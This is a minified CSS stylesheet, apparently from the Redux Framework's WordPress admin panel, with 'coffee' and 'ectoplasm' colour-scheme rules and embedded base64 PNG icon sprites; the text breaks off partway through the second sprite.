.ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-coffee .ui-datepicker-header{background-color:#46403c !important;color:white !important}.admin-color-coffee .ui-datepicker td .ui-state-active{background-color:#ccad93 !important;color:white !important}.admin-color-coffee .ui-datepicker td .ui-state-hover{color:#ccad93 !important}.admin-color-coffee .ui-datepicker td .ui-state-highlight{background:#c7a589 !important;border:1px solid #46403c !important;color:white !important}.admin-color-coffee .redux-container-switch .cb-disable,.admin-color-coffee .redux-container-switch .cb-enable,.admin-color-coffee .ui-state-default,.admin-color-coffee .ui-widget-content .ui-state-default,.admin-color-coffee .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-coffee .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-coffee .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-coffee .redux-container-switch .cb-enable.selected,.admin-color-coffee .redux-field-container .ui-buttonset .ui-state-active{background-color:#c7a589 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#d2b7a1), to(#c7a589)) !important;background-image:-moz-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-ms-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #d2b7a1), color-stop(100%, #c7a589)) !important;background-image:-webkit-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-o-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-linear-gradient(top, #d2b7a1, #c7a589) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d2b7a1', endColorstr='#c7a589', GradientType=0) !important;border-color:#ae7d55 !important;border-color:#b78b66 !important;-webkit-box-shadow:inset 0 1px 0 #e0cdbd,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #e0cdbd,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-coffee #redux-header{background:#46403c;border-color:#c7a589}.admin-color-coffee #redux-header .display_header span{color:#cdcbc9}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-coffee .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-coffee .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-coffee .redux-sidebar .redux-group-menu li.active a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild a{color:#46403c}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#ba906d;background:#2b2724}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#c7a589}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#46403c}.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#cdcbc9;text-shadow:1px 1px #837f7a}.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#46403c;text-shadow:none}.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#c7a589;text-shadow:1px 1px #9f714b}.admin-color-coffee .redux-container-image_select .redux-image-select-selected img{border-color:#c7a589}.admin-color-coffee .redux-container-image_select .redux-image-select-selected .tiles{border-color:#c7a589}.admin-color-coffee #redux-footer #redux-share a{color:#c7a589}.admin-color-coffee #redux-footer #redux-share a:hover{color:#9f714b}.admin-color-coffee .select2-results .select2-highlighted{background:#c7a589}.admin-color-coffee .select2-drop-active,.admin-color-coffee .select2-container-multi.select2-container-active .select2-choices,.admin-color-coffee .select2-drop.select2-drop-above.select2-drop-active,.admin-color-coffee .select2-container-active .select2-choice,.admin-color-coffee .select2-container-active .select2-choices,.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#c7a589}.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-coffee .noUi-connect{background-color:#ccad93 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#d7bfac), to(#ccad93)) !important;background-image:-moz-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-ms-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #d7bfac), color-stop(100%, #ccad93)) !important;background-image:-webkit-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-o-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-linear-gradient(top, #d7bfac, #ccad93) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d7bfac', endColorstr='#ccad93', GradientType=0) !important}.admin-color-ectoplasm .button.ui-datepicker-current,.admin-color-ectoplasm button.ui-datepicker-close{background-color:#a9bd4f !important}.admin-color-ectoplasm .ui-datepicker-buttonpane button.ui-datepicker-current{background:#89993a !important;color:white !important;border:1px solid #474f1e !important}.admin-color-ectoplasm .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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